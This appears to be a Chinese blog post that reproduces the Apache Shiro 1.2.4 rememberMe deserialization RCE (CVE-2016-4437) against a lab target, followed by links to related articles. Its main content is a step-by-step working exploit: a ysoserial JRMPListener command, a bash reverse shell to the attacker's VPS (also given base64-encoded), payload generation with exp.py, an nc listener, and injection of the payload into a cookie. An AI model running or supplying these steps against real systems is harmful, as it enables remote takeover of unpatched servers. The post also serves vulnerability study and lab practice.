【漏洞复现】ApacheShiro1.2.4反序列化漏洞复现(CVE-2016-4437)
前言:
Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
影响版本:
Apache Shiro <= 1.2.4
漏洞原理:
Apache Shiro 1.2.4及以前版本中,Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
漏洞特征:
shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段
漏洞复现:
- vps机器,java环境
- 版本Apache Shiro <=1.2.4
- http请求包cookie中的RememberMe参数
- 靶场地址:http://vulfocus.fofa.so/
- exp下载地址:https://pan.baidu.com/share/init?surl=yH6phKiN3F5RihRXSPe-Qg(提取码pstc)
第一步:启动靶机后,访问URL通过burp抓包,判断环境存在shiro,查看返回包中Set-Cookie中是否存在rememberMe=deleteMe
第二步:打开公网vps,执行如下命令:(注意这里监听的端口为1099)
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "反弹 shell 的命令"
这里的命令需要使用Java Runtime配置bash编码。
在线编码转换地址:http://www.jackson-t.ca/runtime-exec-payloads.html
转换命令如下:(这里是反弹shell的端口为1234)
bash -i >& /dev/tcp/VPS公网ip/1234 0>&1
第三步:最终在VPS上执行的命令如下:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDYuMTMuOS4zNC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"
第四步:使用exp.py生成payload,需要python2的环境,命令如下:
python2 exp.py 公网VPS:1099 (注意这里的端口为1099)
红色框标出的为生成的payload
第五步:在VPS上,使用nc监听1234端口,命令如下:
nc -lvvp 1234
第六步:通过burp抓取任意的http数据包,在cookie中添加生成的payload
第七步:通过burp发送数据包,查看VPS中java监听接口,nc监听结果。
【漏洞复现】ApacheShiro1.2.4反序列化漏洞复现(CVE-2016-4437)相关推荐
- 漏洞复现-Phpmyadmin setup.php反序列化漏洞(WooYun-2016-199433)
Phpmyadmin setup漏洞复现 漏洞描述 影响版本 漏洞复现 漏洞修复 漏洞描述 phpMyAdmin是用PHP编写的工具,用于通过WEB管理MySQL. phpMyAdmin的Setup脚 ...
- 【漏洞复现】Apache Shiro 反序列化漏洞
Apache Shiro 反序列化漏洞 一.简介 二.环境 三.漏洞原理 四.AES秘钥 1.判断AES秘钥 五.Shiro rememberMe反序列化漏洞(Shiro-550) 1.版本1.4.2 ...
- rmi 反序列化漏洞_IDEA动态调试(二)——反序列化漏洞(Fastjson)
一.反序列化的原理及特点 1.什么是反序列化 序列化就是把java类转换成字节流,xml数据.json格式数据等: 反序列化就是把字节流,xml数据.json格式数据转换回java类. 2.反序列化漏 ...
- shrio反序列漏洞修复_Apache Shiro Java 反序列化漏洞分析
Author: rungobier(知道创宇404安全实验室) Date: 2016-08-03 0x00 概述 Apache Shiro 在 Java 的权限及安全验证框架中占用重要的一席之地,在它 ...
- linux反序列化漏洞,Apache Camel Java对象反序列化漏洞(CVE-2015-5348)
Apache Camel Java对象反序列化漏洞(CVE-2015-5348) 发布日期:2015-12-15 更新日期:2015-12-18 受影响系统:Apache Group Camel 描述 ...
- vulhub复现之shiro反序列化漏洞复现
目录 什么是shiro? 什么是安全框架? 反序列化与序列化 shiro反序列化漏洞 怎么判断是否存在反序列化漏洞? 什么是shiro? shiro是功能强大且容易使用的java安全框架.shiro可 ...
- YAML出现严重的反序列化漏洞,谷歌TensorFlow将采用 JSON
聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 由谷歌开发的基于 Python 的开源机器学习和人工智能项目 TensorFlow 放弃对 YAML 的支持,以修复严重的代码执行漏洞. YAM ...
- 深入理解JNDI注入与Java反序列化漏洞利用
rmi 和 jndi 这些概念,一直接触,但是看了会儿 还是略微懵逼,这篇文章 暂时理清了我的思路 [承上启下]----------------------------------上边属于我自己瞎扯的 ...
- 详解PHP反序列化漏洞
详解PHP反序列化漏洞 序列化与反序列化 定义 常见使用情况 常见的序列化格式 反序列化中常见的魔术方法 反序列化绕过 protected和private绕过 __wakeup绕过(CVE-2016- ...
最新文章
- cookie设置httponly属性防护XSS***
- (剑指Offer)面试题1:赋值运算符函数
- 可扫爆服务器系统,可扫可爆云服务器
- 【时间序列】使用微软Power BI进行时间序列预测
- matlab LSTM序列分类的官方示例
- 真涨工资了:多所高校博士生资助标准大幅度提升
- Pytorch:函数的手动梯度计算方法
- Java跳出多重循环的方法
- 快切——响应css框架之布局结构命名
- 供水管道泄漏检测用水听器侦听系统的原因
- 中兴新支点操作系统——菜单小教程
- 大学计算机课程日记,大学计算机实习日记
- 基于TCP的网络应用程序
- html插入图片出现红叉,网页上的图片显示为红叉的解决方法
- 【Blender报错记录】Bone Heat Weighting: failed to find solution for one or more bones
- HDU-6441-Find Integer-费马大定理+奇偶数列法则
- 计算机远程安装win7,初试使用Ghost工具远程安装win7操作系统
- pytorch并行处理详解(多GPU,环境变量)
- SEO优化:7招在手,网站流量提升易如反掌!
- VSCODE:从零点五开始运行一个小型vaadin项目